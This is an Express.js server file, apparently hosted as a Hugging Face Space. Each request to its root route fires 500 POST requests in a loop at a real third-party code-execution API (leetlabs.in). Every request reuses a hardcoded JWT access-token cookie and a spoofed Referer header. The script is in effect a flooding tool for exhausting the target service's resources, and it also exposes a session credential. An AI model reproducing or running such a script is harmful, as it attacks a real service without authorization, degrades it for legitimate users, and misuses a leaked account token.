Spaces:
Running
Running
| const express = require("express"); | |
| const app = express() | |
| const PORT = 7860; | |
| app.get("/", (req, res)=>{ | |
| let i = 1; | |
| while (i <= 500) { | |
| i++; | |
| fetch("https://api.leetlabs.in/api/v1/execute-code/run", { | |
| "headers": { | |
| "content-type": "application/json", | |
| "cookie": "accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMzNDgzN2VmLWJkYWUtNDNjNy04NTk5LTUzOTRkYjc5ZGM4ZiIsInJvbGUiOiJDT0RFUiIsImlhdCI6MTc1MDUxNjI2NSwiZXhwIjoxNzUwNjAyNjY1fQ.gJFfLcpuOccdxAtbHsjM6who0RGA1E_b3cTSNjWfwGs", | |
| "Referer": "https://www.leetlabs.in/", | |
| }, | |
| "body": "{\"source_code\":\"/**\\n * Finds the kth permutation sequence.\\n * @param {number} n - Size of the set\\n * @param {number} k - kth permutation (1-based)\\n * @return {string} - kth permutation sequence\\n */\\nfunction getPermutation(n, k) {\\n // Write your code here\\n return \\\"\\\";\\n}\\n\\n// Input handling\\nconst readline = require(\\\"readline\\\");\\nconst rl = readline.createInterface({\\n input: process.stdin,\\n output: process.stdout,\\n terminal: false\\n});\\n\\nrl.on(\\\"line\\\", (line) => {\\n try {\\n const [n, k] = line.trim().split(\\\",\\\").map(num => parseInt(num.trim()));\\n const result = getPermutation(n, k);\\n console.log(result);\\n } catch (e) {\\n console.log(\\\"Invalid input format\\\");\\n process.exit(1);\\n }\\n rl.close();\\n});\",\"language_id\":63,\"stdin\":[\"3,3\",\"4,9\",\"2,1\"],\"expected_outputs\":[\"213\",\"2314\",\"12\"]}", | |
| "method": "POST" | |
| }) | |
| console.log(i); | |
| } | |
| res.status(200).json({ sucecss:true }) | |
| }) | |
| app.listen(PORT, (err)=>{ | |
| if(err)console.error(err); | |
| console.log("Server running on port "+ PORT); | |
| }) |